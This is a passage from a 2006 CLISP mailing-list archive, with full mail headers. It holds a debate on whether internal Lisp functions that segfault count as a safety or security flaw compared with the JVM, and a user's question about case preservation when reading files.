satisfy certain restrictions. All that would be fine, but IMO it's not required. > Security in the JVM sense I think is really a different topic. I > would like JVM to not crash, but I don't think of that as the sort of > security requirement that JVM is supposed to enforce. Rather it is > supposed to prevent things like file system access from applets. My > impression is that the security in java does not come from every layer > preventing misuse from the layer above, but from the bottom layers > preventing those disallowed actions. Lisp implementations are built on assumptions very different than a JVM implementation. Specifically, Lisp implementations assume an intelligent programmer, writing code, who doesn't want his buggy code to crash his system. That's a very reasonable assumption, and in general, using standard Common Lisp APIs, that should be the case. I think it's perfectly acceptable for a large portion of the Lisp implementation to be built in Lisp and perhaps allow access to "unsafe" activities if the programmer knows what he's doing. In particular, it's very difficult to write an FFI that is "safe." In contrast, the JVM assumes a malicious attacker who could be tricking an unsuspecting user into downloading and running code that is specifically crafted to do evil things. The difference is profound. Lisp systems should protect against programming errors; JVMs have to protect against outright attack. > To stray even further from the original topic, I've long thought that > lisp, and clisp in particular, would make a good replacement for java. Only if the Lisp implementation was written from the ground up to protect against the same types of attacks that a JVM has to deal with. I suspect CLISP was never designed for that and I don't see any reason to try to retrofit it to that requirement. > The strategy of controlling the interface between clisp and the OS > would seem to work fine for clisp. Alternatively, it can be done at > the top layer by restricting the code accepted from the outside. I've > done that on occasion to produce what amounts to a restricted eval > server. Worst case, you can always implement a metainterpreter that evaluates something remarkably like CL code. Look at the simple implementation in the back of Graham's ANSI Common Lisp, for instance. Or look in SICP or Lisp In Small Pieces. -- Dave From sorokin@oogis.ru Fri Nov 10 09:41:15 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GiaNP-0007fp-3o for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:41:15 -0800 Received: from smtp.spaceweb.ru ([217.170.76.7]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GiaNJ-0000kq-19 for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:41:11 -0800 Received: from [195.201.73.36] (helo=[172.21.0.112]) by smtp.spaceweb.ru with esmtp (Exim 4.60) (envelope-from ) id 1GiaND-0004xh-6B for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 20:41:03 +0300 Message-ID: <4554BA5A.90304@oogis.ru> Date: Fri, 10 Nov 2006 20:43:54 +0300 From: Ru User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 17:41:15 -0000 Hello, Sam! I am processing case sensitive texts from files. In CLISP 2.38 I was using -modern option calling CLIPS and all was OK, CLIPS preserved cases appropriately while reading files. Now I switched to 2.39 and CLISP with -modern option reads all in downcase and without it in upper case. What should I do to preserve cases while reading and writing files. Thanks in advance for any advice and help. -- Sinscerely, Ru Ruslan P. Sorokin sorokin@oogis.ru OOGIS RL http://www.oogis.ru SPIIRAS http://www.spiiras.nw.ru From sds@gnu.org Fri Nov 10 09:45:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GiaRQ-00084h-Sx for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:45:25 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GiaRP-00032S-EU for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 09:45:24 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AAAC26140112; Fri, 10 Nov 2006 12:45:16 -0500 Message-ID: <4554BAAA.3090106@gnu.org> Date: Fri, 10 Nov 2006 12:45:14 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Don Cohen , clisp-list@lists.sourceforge.net References: <17748.45900.983441.616083@isis.cs3-inc.com> In-Reply-To: <17748.45900.983441.616083@isis.cs3-inc.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 17:45:25 -0000 Don Cohen wrote: > Jorg Hohle wrote: > > Only in particular scenarios would one expect *every* layer to be secure > > against malicious input. E.g. the JVM comes to mind. Java initially > > started with a stong focus towards security. > > In the same way I would like my OS to ensure that no user program can > crash it (this seems not so easy to define, BTW), I would like it to > be the case that nothing I do from inside clisp can crash clisp (now > we have to define not only what qualifies as a crash but also what's > "inside" clisp - it'll save trouble if we ignore FFI). oops. looks like we must remove this function too: LISPFUNN(crash,0) { /* (SYSTEM::CRASH) jumps to the debugger sitting in the background. */ abort(); VALUES0; /* no values */ } right? wrong. there are some facilities in CLISP that are not intended for you as a user, just like unix has similar facilities (e.g., reboot(1)). you cannot run reboot on unix as a user, you have to become root first. you cannot run CRASH in clisp, you have to do (IN-PACKAGE "SYSTEM") first. if you are calling non-exported stuff - from any package, SYS, CLOS, LISP &c, you are on your own: unless you know what you are doing, you might be shooting yourself in the foot. if you are calling a "%" function, you ARE shooting yourself in the foot. think of it as inline assembly in C. think of it as "_..." functions in C. Sam. From sds@gnu.org Fri Nov 10 10:00:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Giafc-000139-1y for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 10:00:04 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GiafV-0007Oq-KY for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 10:00:01 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE171CA800B8; Fri, 10 Nov 2006 12:59:51 -0500 Message-ID: <4554BE16.1000800@gnu.org> Date: Fri, 10 Nov 2006 12:59:50 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Ru , clisp-list@lists.sourceforge.net References: <4554BA5A.90304@oogis.ru> In-Reply-To: <4554BA5A.90304@oogis.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 18:00:04 -0000 Hi Ruslan, Ru wrote: > I am processing case sensitive texts from files. In CLISP 2.38 I was > using -modern option calling CLIPS and all was OK, CLIPS preserved cases > appropriately while reading files. Now I switched to 2.39 and CLISP with > -modern option reads all in downcase and without it in upper case. What > should I do to preserve cases while reading and writing files. Thanks in > advance for any advice and help. please see here http://clisp.cons.org/impnotes/clisp.html#bugs on how to report bugs. specifically, please describe the 2.38 behavior that you like and the 2.39 behavior that you do not like clearly (using cut and paste). I see nothing wrong with the latest CLISP (2.41): [3]> 'sdg sdg [4]> 'sDg sDg [5]> 'AAA AAA Sam From don-sourceforge-xx@isis.cs3-inc.com Fri Nov 10 10:22:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gib16-00036E-5m for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 10:22:16 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gib13-0005Az-I4 for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 10:22:16 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id C880A1A818F; Fri, 10 Nov 2006 10:22:06 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17748.49998.774619.545912@isis.cs3-inc.com> Date: Fri, 10 Nov 2006 10:22:06 -0800 To: Dave Roberts In-Reply-To: <4554B98A.4000608@vyatta.com> References: <17748.45900.983441.616083@isis.cs3-inc.com> <4554B98A.4000608@vyatta.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 18:22:16 -0000 Dave Roberts writes: > The issue turns on what people believe is a "user program". I meant any program that can be written in lisp. For instance, the example of mapping through all packages and calling all functions is one that a user could write in lisp. That would call the function system::%make-structure. > There is a layer between users and this function. It's the public API > for creating structures. But the public API also allows you to map over all symbols in all packages and call the functions. > > In the case of clisp I'd expect the boundary to be between what's > > written in lisp and what's written in c. Other boundaries seem > > ??? Why would you expect that? It's a great goal, but I submit that you > won't find that boundary in any common implementation Lisp out there, > including Lisp machines. Certainly that would not be the boundary in lisp machines since there's no c in them. I don't know about other implementations. I think that for most implementations that is at least the goal, at least if you leave aside such matters as FFI and optimizing for other than safety. There are definitely Lisp functions in SBCL and > CMUCL, for instance, that you could call and wedge your system There's a difference between wedging and crashing. Note that I'm not asking for protection against such things as infinite loops, or removing all of the symbols (which would make it rather difficult to do anything useful). > tremendously. Short of a very simple interpreter with no access to > compiled code, GC internals, or a compiler, most implementations will > provide some functions to access and manipulate low-level data > structures and playing with those functions without understanding them > can result in getting burned. Again, "getting burned" is a much more general category than what I have in mind by the term "crash" of the VM. I admit I have not defined it precisely, but it involves errors that have not been caught and presented as lisp errors. > Lisp implementations are built on assumptions very different than a JVM > implementation. I argue that clisp is already very close to what would be needed for a counterpart to JVM. In particular it was built with safety in mind. It generally provides no optimizations that override safety. > Specifically, Lisp implementations assume an intelligent programmer, > writing code, who doesn't want his buggy code to crash his system. > That's a very reasonable assumption, and in general, using standard > Common Lisp APIs, that should be the case. I think it's perfectly > acceptable for a large portion of the Lisp implementation to be built in > Lisp and perhaps allow access to "unsafe" activities if the programmer Note that I also think that much (most, perhaps even almost all) of the implementation should be in lisp, and that this will not introduce any bugs of the class under discussion precisely because of the boundary between lisp code and the underlying non-lisp code. The only argument is what "unsafe" includes. I want it NOT to allow you out of the lisp virtual machine. > knows what he's doing. In particular, it's very difficult to write an > FFI that is "safe." I specifically excepted FFI in part because I would expect a lisp counterpart to java not to support FFI (or for that matter system calls). > In contrast, the JVM assumes a malicious attacker who could be tricking > an unsuspecting user into downloading and running code that is > specifically crafted to do evil things. > > The difference is profound. Lisp systems should protect against > programming errors; JVMs have to protect against outright attack. I argue that clisp is almost adequate as it is and could be made adequate fairly easily. It would have to be built without certain functions like FFI and OS access (or these could just be removed after the fact), and then at the bottom level some additional controls would have to be added. > Only if the Lisp implementation was written from the ground up to > protect against the same types of attacks that a JVM has to deal with. I > suspect CLISP was never designed for that and I don't see any reason to > try to retrofit it to that requirement. This is where I disagree. I think clisp was designed along just those lines. From dave@vyatta.com Fri Nov 10 12:07:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GicfE-0004ty-0C for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 12:07:48 -0800 Received: from mail.vyatta.com ([216.93.170.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GicfD-0004a5-Ai for clisp-list@lists.sourceforge.net; Fri, 10 Nov 2006 12:07:47 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id C145A4F8A9E; Fri, 10 Nov 2006 12:05:11 -0800 (PST) X-DSPAM-Result: Innocent X-DSPAM-Processed: Fri Nov 10 12:05:09 2006 X-DSPAM-Confidence: 0.9997 X-DSPAM-Probability: 0.0000 X-DSPAM-Signature: 4554db75271951222944467 X-DSPAM-Factors: 27, X-Virus-Scanned: amavisd-new at X-Spam-Score: -2.684 X-Spam-Level: X-Spam-Status: No, score=-2.684 tagged_above=-10 required=6.6 tests=[AWL=0.015, BAYES_00=-2.599, DSPAM_HAM=-0.1] Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 42GZzn0FCmCJ; Fri, 10 Nov 2006 12:05:09 -0800 (PST) Received: from [10.0.0.122] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id 1E8384F8A99; Fri, 10 Nov 2006 12:05:09 -0800 (PST) Message-ID: <4554DC0D.80801@vyatta.com> Date: Fri, 10 Nov 2006 12:07:41 -0800 From: Dave Roberts User-Agent: Thunderbird 1.5.0.8 (Windows/20061025) MIME-Version: 1.0 To: Don Cohen References: <17748.45900.983441.616083@isis.cs3-inc.com> <4554B98A.4000608@vyatta.com> <17748.49998.774619.545912@isis.cs3-inc.com> In-Reply-To: <17748.49998.774619.545912@isis.cs3-inc.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Nov 2006 20:07:48 -0000 Don Cohen wrote: > Dave Roberts writes: > > > The issue turns on what people believe is a "user program". > I meant any program that can be written in lisp. > For instance, the example of mapping through all packages and calling > all functions is one that a user could write in lisp. That would call > the function system::%make-structure. Okay, then I guess I disagree with you. I see no reason why all private functions in the Lisp implementation should be made "safe" from random calling with bogus parameters. According to this defintion, *every* function would be required to perform extensive parameter checking, which would slow the system to a crawl. And I like the fact that CLISP is reasonably speedy for a byte-code implementation already. And I don't see any benefit to making the system that safe and secure. If you call public functions, documented either in the ANSI CL spec or in the implementation spec, and those functions don't have big "WARNING, MAY BE UNSAFE" language associated with them, then I agree that those functions shouldn't crash a Lisp implementation. Finally, this is not to say that making the system more robust should not be a goal. It should. The number of unsafe functions should be minimized, but engineers should trade-off performance and safety to come to an acceptable compromise. > > > In the case of clisp I'd expect the boundary to be between what's > > > written in lisp and what's written in c. Other boundaries seem > > > > ??? Why would you expect that? It's a great goal, but I submit that you > > won't find that boundary in any common implementation Lisp out there, > > including Lisp machines. > Certainly that would not be the boundary in lisp machines since > there's no c in them. "C" is just a code-word for the lowest layers of the system. What you're seeing with part of these implementations is that a low-level portion is actually being written in Lisp. > I don't know about other implementations. I think that for most > implementations that is at least the goal, at least if you leave > aside such matters as FFI and optimizing for other than safety. I know of no implementation other than fairly simple interpreters or byte-code interpreters that would survive your "iterate through all packages and all functions calling things randomly" test unscathed. Most all serious implementations give at least the implementation itself access to unsafe operations, if not actually documenting some of those operations for application programmers. > Again, "getting burned" is a much more general category than what > I have in mind by the term "crash" of the VM. I admit I have not > defined it precisely, but it involves errors that have not been caught > and presented as lisp errors. We're on the same page with our defintion of "crash," I believe. I'm playing fast-and-loose with my terminology, but that's what I meant by "getting burned." I'm saying that there are ooodles of functions in many implementations that will not present the user with a Lisp error, just a core dump or hang, when called incorrectly. > > Lisp implementations are built on assumptions very different than a JVM > > implementation. > I argue that clisp is already very close to what would be needed for > a counterpart to JVM. In particular it was built with safety in mind. > It generally provides no optimizations that override safety. It was not built with the same safety guarantees of a JVM, however. The JVM bytecode was specifically designed to allow certain forms of verification to be performed on it. I doubt CLISP was at all designed with those same goals. And again, I don't think that's a problem with CLISP. It's a great CL implementation, and I'm very grateful that it exists (thanks Bruno, Sam, and all the others who have contributed to it over the years!!). > > Specifically, Lisp implementations assume an intelligent programmer, > > writing code, who doesn't want his buggy code to crash his system. > > That's a very reasonable assumption, and in general, using standard > > Common Lisp APIs, that should be the case. I think it's perfectly > > acceptable for a large portion of the Lisp implementation to be built in > > Lisp and perhaps allow access to "unsafe" activities if the programmer > > Note that I also think that much (most, perhaps even almost all) of > the implementation should be in lisp, and that this will not introduce > any bugs of the class under discussion precisely because of the > boundary between lisp code and the underlying non-lisp code. > The only argument is what "unsafe" includes. I want it NOT to allow > you out of the lisp virtual machine. Then I think you have different goals than the original CLISP implementors and I think it's unreasonable to expect them to fix a "bug" like this. IMO, the original case that Pascal reported was "pilot error," not a "bug." This isn't to suggest that the particular function in question shouldn't be called, but it should obviously be called with knowledge of its limitations and in a correct way, in accord with the assumptions to which it was written. Violate those assumptions, and well, bad things could happen. It's the old joke: Patient: Doctor, doctor, it hurts when I do this... Doctor: Don't do that. > I argue that clisp is almost adequate as it is and could be made > adequate fairly easily. It would have to be built without certain > functions like FFI and OS access (or these could just be removed after > the fact), and then at the bottom level some additional controls would > have to be added. Given that CLISP is GPL, feel free to fork it and shape it to your uses. I'm not sure that your uses are close to many other people want. Certainly, I don't share them, and in fact would probably find your implementation too slow. > > Only if the Lisp implementation was written from the ground up to > > protect against the same types of attacks that a JVM has to deal with. I > > suspect CLISP was never designed for that and I don't see any reason to > > try to retrofit it to that requirement. > > This is where I disagree. I think clisp was designed along just those > lines. I don't know the minds of the original developers. The original CLISP implementation started way before Java was around, so I doubt it. Certainly, nothing in the implementation leads me to that conclusion. I think CLISP was designed to reduce the impact of programmer bugs. Again, that's a far cry from making all such bugs land in the Lisp debugger and resisting malicious attacks. And that's okay. CLISP does a great job. Finally, I would note that even in the JVM, there are probably functions accessible to the lowest layers of the byte-code that are unsafe. Those functions are marked "private", however, and Java's class-loading and security system enforce that arbitrary user code cannot call those functions without going through standard APIs where extensive parameter checking occurs. The Common Lisp package system has no such enforcement techniques. If a function exists in the system, bound to a symbol, whether exported from its package or not, I as a programmer can call it. Some of us actually see that as a feature. -- Dave From sorokin@oogis.ru Sat Nov 11 02:48:52 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GiqPs-0007n4-2G for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 02:48:52 -0800 Received: from smtp.spaceweb.ru ([217.170.76.7]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GiqPo-00037K-Ki for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 02:48:52 -0800 Received: from [84.17.30.111] by smtp.spaceweb.ru with esmtp (Exim 4.60) (envelope-from ) id 1GiqPd-0007Ok-Ab for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 13:48:38 +0300 Message-ID: <4555AAF8.3070506@oogis.ru> Date: Sat, 11 Nov 2006 13:50:32 +0300 From: Ru User-Agent: Thunderbird 1.5.0.5 (Windows/20060719) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4554BA5A.90304@oogis.ru> <4554BE16.1000800@gnu.org> In-Reply-To: <4554BE16.1000800@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 11 Nov 2006 10:48:52 -0000 Hi Sam, Thank you for the answer. I have installed 2.41, but it seems like problem is not connected to version number. Look at the listing: ; SLIME 2005-12-27 cs-user> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq x (read in))(close in)) t cs-user> x ([KSHVI1_Instance_0] of OMCircle (fillColor "1FFF00AA") (label "A1") (latitude "53 29") (lineColor "FFFF00AA") (longitude "167 1") (radius 30.0)) cs-user> (defpackage :test44) # cs-user> (in-package :test44) # test44> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq z (read in))(close in)) t test44> z ([kshvi1_instance_0] of omcircle (fillcolor "1FFF00AA") (label "A1") (latitude "53 29") (linecolor "FFFF00AA") (longitude "167 1") (radius 30.0)) test44> It seems like reader works differently in defined package and in default package. Would you be so kind to help me once more? Thanks in advance. Sincerely, Ru Sam Steingold wrote: > Hi Ruslan, > > Ru wrote: >> I am processing case sensitive texts from files. In CLISP 2.38 I was >> using -modern option calling CLIPS and all was OK, CLIPS preserved >> cases appropriately while reading files. Now I switched to 2.39 and >> CLISP with -modern option reads all in downcase and without it in >> upper case. What should I do to preserve cases while reading and >> writing files. Thanks in advance for any advice and help. > > please see here > http://clisp.cons.org/impnotes/clisp.html#bugs > on how to report bugs. > > specifically, please describe the 2.38 behavior that you like and the > 2.39 behavior that you do not like clearly (using cut and paste). > I see nothing wrong with the latest CLISP (2.41): > > [3]> 'sdg > sdg > [4]> 'sDg > sDg > [5]> 'AAA > AAA > > > Sam > > From don-sourceforge-xx@isis.cs3-inc.com Sat Nov 11 16:28:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gj3DT-0000cL-Ep for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 16:28:55 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gj3DS-0000U5-6I for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 16:28:55 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 0B0291A818F; Sat, 11 Nov 2006 16:28:59 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17750.27338.943678.658138@isis.cs3-inc.com> Date: Sat, 11 Nov 2006 16:28:58 -0800 To: clisp-list@lists.sourceforge.net, In-Reply-To: <4554BAAA.3090106@gnu.org> References: <17748.45900.983441.616083@isis.cs3-inc.com> <4554B98A.4000608@vyatta.com> <17748.49998.774619.545912@isis.cs3-inc.com> <4554DC0D.80801@vyatta.com> <4554BAAA.3090106@gnu.org> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 00:28:55 -0000 Sam Steingold writes: > oops. > looks like we must remove this function too: > LISPFUNN(crash,0) This falls in the category of FFI and OS interface. It's explicitly meant to get you out of the lisp virtual machine. Of course, there's also the exit function. I really think that even these should not directly give you segfaults, although of course they let you do other things that will. In any case, I think you (both Dave and Sam) are missing the points that (1) I'm not asking for every function to check its arguments, just those on the boundary between lisp and c, and (2) I don't think that this is expensive. BTW, isn't there a way to catch signals at the c level? Couldn't every otherwise uncaught signal be caught and presented as a lisp error? I wouldn't be happy to get a lisp error telling me about a segfault, but I'd prefer that to exiting lisp. From sds@gnu.org Sat Nov 11 17:57:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gj4bd-0008S7-N8 for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 17:57:58 -0800 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gj4bb-0004Tk-8I for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 17:57:57 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8L00LAHHGBI1D0@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 20:57:47 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 32DEE21E082; Sat, 11 Nov 2006 20:57:47 -0500 (EST) Date: Sat, 11 Nov 2006 20:57:46 -0500 From: Sam Steingold In-reply-to: <17750.27338.943678.658138@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-followup-to: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <17748.45900.983441.616083@isis.cs3-inc.com> <4554B98A.4000608@vyatta.com> <17748.49998.774619.545912@isis.cs3-inc.com> <4554DC0D.80801@vyatta.com> <4554BAAA.3090106@gnu.org> <17750.27338.943678.658138@isis.cs3-inc.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Nov 2006 01:57:58 -0000 > * Don Cohen [2006-11-11 16:28:58 -0800]: > > BTW, isn't there a way to catch signals at the c level? > Couldn't every otherwise uncaught signal be caught and presented as > a lisp error? I wouldn't be happy to get a lisp error telling me > about a segfault, but I'd prefer that to exiting lisp. IMHO, this is a reasonable idea. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://memri.org http://honestreporting.com http://mideasttruth.com http://thereligionofpeace.com http://pmw.org.il http://iris.org.il MS Windows: error: the operation completed successfully. From sds@gnu.org Sat Nov 11 18:05:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gj4iU-0000fB-Nh for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 18:05:02 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gj4iS-0006YX-1i for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 18:05:02 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8L006TOHS6AEQ0@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 11 Nov 2006 21:04:54 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 09AA021E082; Sat, 11 Nov 2006 21:04:54 -0500 (EST) Date: Sat, 11 Nov 2006 21:04:53 -0500 From: Sam Steingold In-reply-to: 